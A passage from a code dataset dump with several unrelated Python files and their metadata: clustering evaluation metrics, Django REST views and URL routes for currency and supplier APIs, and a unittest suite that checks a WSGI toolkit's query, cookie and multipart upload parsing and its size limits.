clusterer, metric\n\n\ndef silhouette(X, X_pca, cat_features=[],\n alg='kmeans', agglo_params=None,\n range_clusters=range(2, 5), random_state=10):\n \"\"\"\n Function provided by sklearn with some modifications.\n Reference: https://scikit-learn.org/stable/auto_examples/cluster/plot_kmeans_silhouette_analysis.html\n \"\"\"\n\n for n_clusters in range_clusters:\n # Create a subplot with 1 row and 2 columns\n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.set_size_inches(18, 7)\n\n # The 1st subplot is the silhouette plot\n # The silhouette coefficient can range from -1, 1 but in this example all\n # lie within [-0.1, 1]\n ax1.set_xlim([-0.1, 1])\n # The (n_clusters+1)*10 is for inserting blank space between silhouette\n # plots of individual clusters, to demarcate them clearly.\n ax1.set_ylim([0, len(X) + (n_clusters + 1) * 10])\n\n # Initialize the clusterer with n_clusters value and a random generator\n # seed of 10 for reproducibility.\n # clusterer = KMeans(n_clusters=n_clusters, random_state=10)\n clusterer, metric = get_clusterer(n_clusters, cat_features,\n alg, agglo_params, random_state)\n clusterer.fit(X.values)\n if alg != 'agglo':\n cluster_labels = clusterer.labels\n else:\n cluster_labels = clusterer.labels_\n\n # The silhouette_score gives the average value for all the samples.\n # This gives a perspective into the density and separation of the formed\n # clusters\n silhouette_avg = silhouette_score(X, cluster_labels, metric=metric)\n print(\"For n_clusters =\", n_clusters,\n \"The average silhouette_score is :\", silhouette_avg)\n\n # Compute the silhouette scores for each sample\n sample_silhouette_values = silhouette_samples(X, cluster_labels)\n\n y_lower = 10\n for i in range(n_clusters):\n # Aggregate the silhouette scores for samples belonging to\n # cluster i, and sort them\n ith_cluster_silhouette_values = \\\n sample_silhouette_values[cluster_labels == i]\n\n ith_cluster_silhouette_values.sort()\n\n size_cluster_i = ith_cluster_silhouette_values.shape[0]\n y_upper = y_lower + size_cluster_i\n\n color = cm.nipy_spectral(float(i) / n_clusters)\n ax1.fill_betweenx(np.arange(y_lower, y_upper),\n 0, ith_cluster_silhouette_values,\n facecolor=color, edgecolor=color, alpha=0.7)\n\n # Label the silhouette plots with their cluster numbers at the middle\n ax1.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))\n\n # Compute the new y_lower for next plot\n y_lower = y_upper + 10 # 10 for the 0 samples\n\n ax1.set_title(\"The silhouette plot for the various clusters.\")\n ax1.set_xlabel(\"The silhouette coefficient values\")\n ax1.set_ylabel(\"Cluster label\")\n\n # The vertical line for average silhouette score of all the values\n ax1.axvline(x=silhouette_avg, color=\"red\", linestyle=\"--\")\n\n ax1.set_yticks([]) # Clear the yaxis labels / ticks\n ax1.set_xticks([-0.1, 0, 0.2, 0.4, 0.6, 0.8, 1])\n\n # 2nd Plot showing the actual clusters formed\n colors = cm.nipy_spectral(cluster_labels.astype(float) / n_clusters)\n ax2.scatter(X_pca.values[:, 0],\n X_pca.values[:, 1], marker='.', s=30, lw=0, alpha=0.7,\n c=colors, edgecolor='k')\n\n if alg != 'agglo':\n # Labeling the clusters\n centers = clusterer.centroids\n # Draw white circles at cluster centers\n ax2.scatter(centers[:, 0], centers[:, 1], marker='o',\n c=\"white\", alpha=1, s=200, edgecolor='k')\n\n for i, c in enumerate(centers):\n ax2.scatter(c[0], c[1], marker='$%d$' % i, alpha=1,\n s=50, edgecolor='k')\n\n ax2.set_title(\"The visualization of the clustered data.\")\n ax2.set_xlabel(\"Feature space for the 1st feature\")\n ax2.set_ylabel(\"Feature space for the 2nd feature\")\n\n plt.suptitle((\"Silhouette analysis for KMeans clustering on sample data \"\n \"with n_clusters = %d\" % n_clusters),\n fontsize=14, fontweight='bold')\n\n plt.show()\n\n\ndef elbow(X, range_clusters=range(2, 6), alg='kmeans',\n cat_features=[], random_state=42):\n\n inertias = []\n ks = range_clusters\n model = None\n for k in ks:\n if alg == 'kmeans':\n model = KMeans(n_clusters=k, random_state=random_state)\n elif alg == 'kmodes':\n model = KMeans(n_clusters=k, random_state=random_state)\n else:\n model = KPrototypes(n_clusters=k, cat_features=cat_features, random_state=random_state)\n\n model.fit(X.values)\n # centroids_, clusters_, inertia_ = k_means(X_final.values, k=k)\n inertias.append(model.inertia)\n\n plt.plot(ks, inertias, '-o', color='black')\n plt.xlabel('number of clusters, k')\n plt.ylabel('inertia')\n plt.title(alg)\n plt.xticks(ks)\n plt.show()\n\n\ndef rename_labels(y_true, y_pred):\n from scipy.stats import mode\n mapping = {}\n for cat in set(y_true):\n predictions = y_pred[y_true == cat]\n predictions = [p for p in predictions if p not in list(mapping.values())]\n mapping[cat] = mode(predictions)[0][0]\n # print(mapping)\n\n result = y_pred.copy()\n for cat in set(y_true):\n result[y_pred == mapping[cat]] = cat\n return result\n\n\ndef get_metrics(y_true, y_pred, X=None, alg=None):\n def purity_score(y_true, y_pred):\n cm = contingency_matrix(y_true, y_pred)\n return np.sum(np.amax(cm, axis=0)) / np.sum(cm)\n\n d_metrics = dict()\n d_metrics['ars'] = adjusted_rand_score(y_true, y_pred)\n d_metrics['purity'] = purity_score(y_true, y_pred)\n d_metrics['db'] = davies_bouldin_score(X, y_pred) # the lower the best\n n_classes = len(set(y_true))\n if n_classes > 2:\n d_metrics['f-measure'] = f1_score(y_true, rename_labels(y_true, y_pred), average='micro')\n elif n_classes == 2:\n d_metrics['f-measure'] = f1_score(y_true, rename_labels(y_true, y_pred), average='binary')\n # d_metrics['f-measure'] = f1_score(y_true, y_pred, average='binary')\n else:\n print('n_classes must be greater than 1')\n\n if alg is not None and X is not None:\n if alg == 'kproto' or alg == 'kmodes':\n d_metrics['silhouette'] = silhouette_score(X, y_pred, metric='manhattan')\n else:\n d_metrics['silhouette'] = silhouette_score(X, y_pred, metric='euclidean')\n\n return d_metrics\n\n\n", "repo_name": "gusseppe/master_artificial_intelligence", "sub_path": "Introduction_to_Machine_Learning/deliverables/iml/cluster/metrics.py", "file_name": "metrics.py", "file_ext": "py", "file_size_in_byte": 8559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.cluster.AgglomerativeClustering", "line_number": 29, "usage_type": "call"}, {"api_name": "cluster.kmeans.KMeans", "line_number": 35, "usage_type": "call"}, {"api_name": "cluster.kmodes.KModes", "line_number": 38, "usage_type": "call"}, {"api_name": "cluster.fuzzycmeans.FuzzyCMeans", "line_number": 41, "usage_type": "call"}, {"api_name": "cluster.kprototypes.KPrototypes", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.metrics.silhouette_samples", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.cm.nipy_spectral", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.cm.nipy_spectral", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "cluster.kmeans.KMeans", "line_number": 162, "usage_type": "call"}, {"api_name": "cluster.kmeans.KMeans", "line_number": 164, "usage_type": "call"}, {"api_name": "cluster.kprototypes.KPrototypes", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "scipy.stats.mode", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 197, "usage_type": "name"}, {"api_name": "sklearn.metrics.cluster.contingency_matrix", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 198, "usage_type": "argument"}, {"api_name": "sklearn.metrics.adjusted_rand_score", "line_number": 201, "usage_type": "call"}, {"api_name": "sklearn.metrics.davies_bouldin_score", "line_number": 203, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 206, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 208, "usage_type": "call"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 215, "usage_type": "call"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 217, "usage_type": "call"}]} {"seq_id": "18273860518", "text": "from rest_framework import status, viewsets, mixins, permissions\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom rest_framework.decorators import action\nfrom rest_framework import renderers\n\nfrom Core.Models.models.currencyrate import CurrencyRate\nfrom Core.Models.models.сurrency import Currency\nfrom .serializers import CurrencySerializer, CurrencyRateSerializer\nfrom services.tasks import update_exchange\n\n\n@api_view(['GET'])\ndef api_root(request, format=None):\n return Response({\n 'ratescurrency': reverse('rates_currency_all', request=request, format=format),\n 'currencies': reverse('currencies_list', request=request, format=format)\n })\n\nclass CurrencyView(viewsets.GenericViewSet,\n mixins.RetrieveModelMixin,\n mixins.ListModelMixin):\n serializer_class = CurrencySerializer\n queryset = Currency.objects.all()\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n def get(self, request, *args, **kwargs):\n return self.retrieve(request, *args, **kwargs)\n\n def get_all(self, request, *args, **kwargs):\n return self.list(request, *args, **kwargs)\n\n\n\nclass CurrencyRateView(viewsets.GenericViewSet,\n mixins.ListModelMixin):\n serializer_class = CurrencyRateSerializer\n queryset = CurrencyRate.objects.all()\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n @action('GET', detail=False, renderer_classes=[renderers.JSONRenderer])\n def get_latest_rate_currency_by_id(self, request, pk: int):\n result = update_exchange.apply_async(ignore_result=False, kwargs=({'id': pk}))\n return Response(result.get(), status=status.HTTP_200_OK)\n\n @action('GET', detail=False, renderer_classes=[renderers.JSONRenderer])\n def get_all(self, request, pk: int = 1, *args, **kwargs):\n self.queryset = CurrencyRate.objects.filter(currency__id=pk).order_by('-actual_date')\n return self.list(request, *args, **kwargs)\n\n @action('GET', detail=False, renderer_classes=[renderers.JSONRenderer])\n def get_last_rate_by_currency_id(self, request, pk: int, *args, **kwargs):\n try:\n currency_rate = CurrencyRate.objects \\\n .filter(currency__id=pk) \\\n .order_by('-actual_date') \\\n .first()\n except CurrencyRate.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n serializer = self.serializer_class(currency_rate, context={'request': request})\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n @action('GET', detail=False, renderer_classes=[renderers.JSONRenderer])\n def get_by_id(self, request, pk: int):\n try:\n currency_rate = CurrencyRate.objects.get(pk=pk)\n except CurrencyRate.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n serializer = self.serializer_class(currency_rate, context={'request': request})\n return Response(serializer.data, status=status.HTTP_200_OK)\n", "repo_name": "trulander/exchange-rates", "sub_path": "exchangerates/api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3114, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "rest_framework.response.Response", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 18, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 21, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 23, "usage_type": "name"}, {"api_name": "serializers.CurrencySerializer", "line_number": 24, "usage_type": "name"}, {"api_name": "Core.Models.models.сurrency.Currency.objects.all", "line_number": 25, "usage_type": "call"}, {"api_name": "Core.Models.models.сurrency.Currency.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "Core.Models.models.сurrency.Currency", "line_number": 25, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticatedOrReadOnly", "line_number": 26, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 37, "usage_type": "name"}, {"api_name": "serializers.CurrencyRateSerializer", "line_number": 38, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects.all", "line_number": 39, "usage_type": "call"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 39, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticatedOrReadOnly", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 40, "usage_type": "name"}, {"api_name": "services.tasks.update_exchange.apply_async", "line_number": 44, "usage_type": "call"}, {"api_name": "services.tasks.update_exchange", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 42, "usage_type": "call"}, {"api_name": "rest_framework.renderers.JSONRenderer", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rest_framework.renderers", "line_number": 42, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.renderers.JSONRenderer", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.renderers", "line_number": 47, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects.filter", "line_number": 55, "usage_type": "call"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 55, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.DoesNotExist", "line_number": 59, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 60, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 60, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 63, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 63, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 63, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.renderers.JSONRenderer", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.renderers", "line_number": 52, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects.get", "line_number": 68, "usage_type": "call"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 68, "usage_type": "name"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate.DoesNotExist", "line_number": 69, "usage_type": "attribute"}, {"api_name": "Core.Models.models.currencyrate.CurrencyRate", "line_number": 69, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 70, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 70, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 70, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 73, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 73, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 73, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 65, "usage_type": "call"}, {"api_name": "rest_framework.renderers.JSONRenderer", "line_number": 65, "usage_type": "attribute"}, {"api_name": "rest_framework.renderers", "line_number": 65, "usage_type": "name"}]} {"seq_id": "42210774523", "text": "import unittest,subprocess,os,wsgikit,signal,time,json,urllib\nfrom urllib.request import urlopen\nfrom urllib.request import Request\nimport mimetypes\n\ndef encode_multipart_formdata( fields = None, files = None):\n\t\"\"\"\n fields is a sequence of (name, value) elements for regular form fields.\n files is a sequence of (name, filename, value) elements for data to be uploaded as files\n Return (content_type, body)\n \"\"\"\n\tBOUNDARY = b'----------ThIs_Is_tHe_bouNdaRY_$'\n\tCRLF = b'\\r\\n'\n\tL = []\n\t\n\tif fields and len( fields) > 0:\n\t\tfor (key, value) in fields:\n\t\t\tL.append( b'--' + BOUNDARY)\n\t\t\tL.append( b'Content-Disposition: form-data; name=\"' + key.encode('utf-8') + b'\"')\n\t\t\tL.append( b'')\n\t\t\tL.append( value.encode('utf-8'))\n\t\n\tif files and len( files) > 0:\n\t\tfor (key, filename, value) in files:\n\t\t\tL.append( b'--' + BOUNDARY)\n\t\t\tL.append( b'Content-Disposition: form-data; name=\"' + key.encode('utf-8') + b'\"; filename=\"' + filename.encode('utf-8') + b'\"')\n\t\t\tL.append( b'Content-Type: ' + get_content_type( filename).encode('utf-8'))\n\t\t\tL.append( b'')\n\t\t\tL.append( value)\n\t\n\tL.append( b'--' + BOUNDARY + b'--')\n\tL.append( b'')\n\tbody = CRLF.join( L)\n\tcontent_type = 'multipart/form-data; boundary=%s' % BOUNDARY.decode('utf-8')\n\t\n\treturn content_type, body\n\ndef get_content_type( filename):\n\treturn mimetypes.guess_type( filename)[0] or 'application/octet-stream'\n\nBASE_URL = 'http://localhost:10888/'\nUPLOADS_PATH = './uploads'\nDATA_PATH = './data'\n\ndef cleanup_uploads():\n\tfor file in os.listdir( UPLOADS_PATH):\n\t\tfile_path = os.path.join( UPLOADS_PATH, file)\n\t\t\n\t\tif os.path.isfile( file_path):\n\t\t\tos.unlink( file_path)\n\nclass Server(object):\n\tdef start(self):\n\t\tprint(\"Starting WSGI server...\")\n\t\tself.pid = subprocess.Popen( ['/usr/bin/env', 'python', os.getcwd() + '/server.py', '&']).pid\n\t\t\n\t\tif not os.path.exists( UPLOADS_PATH):\n\t\t\tos.makedirs( UPLOADS_PATH)\n\t\t\n\t\ttime.sleep(1)\n\t\tprint('Done.')\n\t\n\tdef stop(self):\n\t\tprint(\"Shutdown server...\")\n\t\tos.kill( self.pid, signal.SIGKILL)\n\t\tos.removedirs( UPLOADS_PATH)\n\t\tprint(\"Done.\")\n\nclass WsgiKitTest(unittest.TestCase):\n\t\n\ttest_data = [{\n\t\t'raw' : 'foo=1&bar=2',\n\t\t'dict' : {'foo':'1','bar':'2'}\n\t}, {\n\t\t'raw' : 'foo[][]=1&foo[1][]=1&foo[1][]=1',\n\t\t'dict' : {'foo':{'0':{'0':'1'},'1':{'0':'1','1':'1'}}}\n\t}]\n\t\n\ttest_files = [\n\t\t('upfiles[]', '01.txt', open( DATA_PATH + '/01.txt', 'rb').read()),\n\t\t('upfiles[]', '02.zip', open( DATA_PATH + '/02.zip', 'rb').read()),\n\t\t('upfiles[]', '03.zip', open( DATA_PATH + '/03.zip', 'rb').read()),\n\t\t('upfiles[]', 'large.zip', open( DATA_PATH + '/large.zip', 'rb').read()),\n\t]\n\t\n\tdef test01_parse_query(self):\n\t\tself.assertEqual( wsgikit.HttpRequest.parse_query( self.test_data[0]['raw']), self.test_data[0]['dict'])\n\t\n\tdef test02_remote_parse_query(self):\n\t\tfor data in self.test_data:\n\t\t\tresponse = urlopen( BASE_URL + '?' + data['raw'])\n\t\t\tres = json.loads( response.read().decode( 'utf-8'))['QUERY']\n\t\t\tself.assertEqual( res, data['dict'])\n\t\n\tdef test03_remote_parse_body(self):\n\t\tfor data in self.test_data:\n\t\t\trequest = Request( BASE_URL, data['raw'].encode( 'utf-8'))\n\t\t\tres = json.loads( urlopen( request).read().decode( 'utf-8'))['BODY']\n\t\t\tself.assertEqual( res, data['dict'])\n\t\n\tdef test04_remote_parse_headers(self):\n\t\trequest = Request( BASE_URL, headers = {\n\t\t\t'X-Test-Header' : 'tested'\n\t\t})\n\t\tres = json.loads( urlopen( request).read().decode( 'utf-8'))['HEADERS']\n\t\tself.assertTrue( 'X-Test-Header' in res and res['X-Test-Header'] == 'tested')\n\t\n\tdef test05_remote_parse_cookie(self):\n\t\trequest = Request( BASE_URL, headers = {\n\t\t\t'Cookie' : 'session=12345; sid=123456789',\n\t\t})\n\t\tres = json.loads( urlopen( request).read().decode( 'utf-8'))['COOKIE']\n\t\tself.assertEqual(res, { 'session' : '12345', 'sid' : '123456789' })\n\t\n\tdef test06_remote_upload_files(self):\n\t\tctype, body = encode_multipart_formdata(\n\t\t\tself.test_data[0]['dict'].items(),\n\t\t\tself.test_files[:2]\n\t\t)\n\t\t\n\t\trequest = Request( BASE_URL, body, { 'Content-Type' : ctype })\n\t\tres = json.loads( urlopen( request).read().decode( 'utf-8'))['FILES']\n\t\t\n\t\tself.assertTrue('upfiles' in res)\n\t\tself.assertTrue('0' in res['upfiles'])\n\t\tself.assertTrue('1' in res['upfiles'])\n\t\t\n\t\tfnames = (self.test_files[0][1], self.test_files[1][1])\n\t\t\n\t\tself.assertTrue( res['upfiles']['0']['filename'] in fnames)\n\t\tself.assertTrue( res['upfiles']['1']['filename'] in fnames)\n\t\t\n\t\tdirfiles = os.listdir( UPLOADS_PATH)\n\t\tfor file in fnames:\n\t\t\tself.assertTrue( file in dirfiles)\n\t\t\tself.assertEqual(\n\t\t\t\topen( UPLOADS_PATH + '/' + file, 'rb').read(),\n\t\t\t\topen( DATA_PATH + '/' + file, 'rb').read()\n\t\t\t)\n\t\t\n\t\tcleanup_uploads()\n\t\n\tdef test07_remote_max_file_size_limit(self):\n\t\tctype, body = encode_multipart_formdata(\n\t\t\tfiles = self.test_files[3:]\n\t\t)\n\t\t\n\t\ttry :\n\t\t\trequest = Request( BASE_URL, body, { 'Content-Type' : ctype })\n\t\t\turlopen( request)\n\t\t\tself.assertEqual( True, False, \"Max file size limit was not handled by the server\")\n\t\texcept Exception as e:\n\t\t\tself.assertIsInstance( e, urllib.error.HTTPError)\n\t\t\n\t\tcleanup_uploads()\n\t\n\tdef test08_remote_max_files_limit(self):\n\t\tctype, body = encode_multipart_formdata(\n\t\t\tself.test_data[0]['dict'].items(),\n\t\t\tself.test_files[:3]\n\t\t)\n\t\t\n\t\ttry :\n\t\t\trequest = Request( BASE_URL, body, { 'Content-Type' : ctype })\n\t\t\turlopen( request)\n\t\t\tself.assertEqual( True, False, \"Max uploaded files limit was not handled by the server\")\n\t\texcept Exception as e:\n\t\t\tself.assertIsInstance( e, urllib.error.HTTPError)\n\t\t\n\t\tcleanup_uploads()\n\t\n\tdef test09_remote_max_body_size_limit(self):\n\t\tbody = b'foo=' + b'0' * 512\n\t\t\n\t\ttry :\n\t\t\trequest = Request( BASE_URL, body)\n\t\t\turlopen( request)\n\t\t\tself.assertEqual( True, False, \"Max body size limit was not handled by the server\")\n\t\texcept Exception as e:\n\t\t\tself.assertIsInstance( e, urllib.error.HTTPError)\n\t\n\t@staticmethod\n\tdef run_tests():\n\t\tsrv = Server()\n\t\tsrv.start()\n\t\t\n\t\tprint(\"Running tests...\")\n\t\tsuite = unittest.TestLoader().loadTestsFromTestCase( WsgiKitTest)\n\t\tunittest.TextTestRunner( verbosity = 2).run( suite)\n\n\t\tsrv.stop()\n\nif __name__ == '__main__':\n\tWsgiKitTest.run_tests()\n", "repo_name": "Mikhus/wsgikit", "sub_path": "tests/testsuite.py", "file_name": "testsuite.py", "file_ext": "py", "file_size_in_byte": 6046, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mimetypes.guess_type", "line_number": 39, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 55, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 65, "usage_type": "call"}, {"api_name": "signal.SIGKILL", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.removedirs", "line_number": 66, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 69, "usage_type": "attribute"}, {"api_name": "wsgikit.HttpRequest.parse_query", "line_number": 87, "usage_type": "call"}, {"api_name": "wsgikit.HttpRequest", "line_number": 87, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 91, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 97, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 98, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 98, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 102, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 105, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 105, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 109, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 112, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 112, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 121, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 122, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 122, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 133, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 149, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 150, "usage_type": "call"}, {"api_name": "urllib.error", "line_number": 153, "usage_type": "attribute"}, {"api_name": "urllib.request.Request", "line_number": 164, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 165, "usage_type": "call"}, {"api_name": "urllib.error", "line_number": 168, "usage_type": "attribute"}, {"api_name": "urllib.request.Request", "line_number": 176, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 177, "usage_type": "call"}, {"api_name": "urllib.error", "line_number": 180, "usage_type": "attribute"}, {"api_name": "unittest.TestLoader", "line_number": 188, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 189, "usage_type": "call"}]} {"seq_id": "12811966179", "text": "from base.views import supplier_views as views\nfrom django.urls import path\n\nurlpatterns = [\n path('', views.getSuppliers, name='suppliers'),\n path('upload/', views.uploadImage, name='image-upload'),\n path('/', views.getSupplier, name='supplier'),\n path('/reviews/', views.createSupplierReview, name='create-review'),\n path('/products/', views.getSupplierProducts, name='supplier-products'),\n path('/products//', views.getSupplierProduct, name='supplier-product'),\n path('user//', views.getSupplierByUserId, name='user-supplier'),\n]\n", "repo_name": "jacoblimjy/HawkHub-Software-Engineering-Project", "sub_path": "backend/base/urls/supplier_urls.py", "file_name": "supplier_urls.py", "file_ext": "py", "file_size_in_byte": 603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 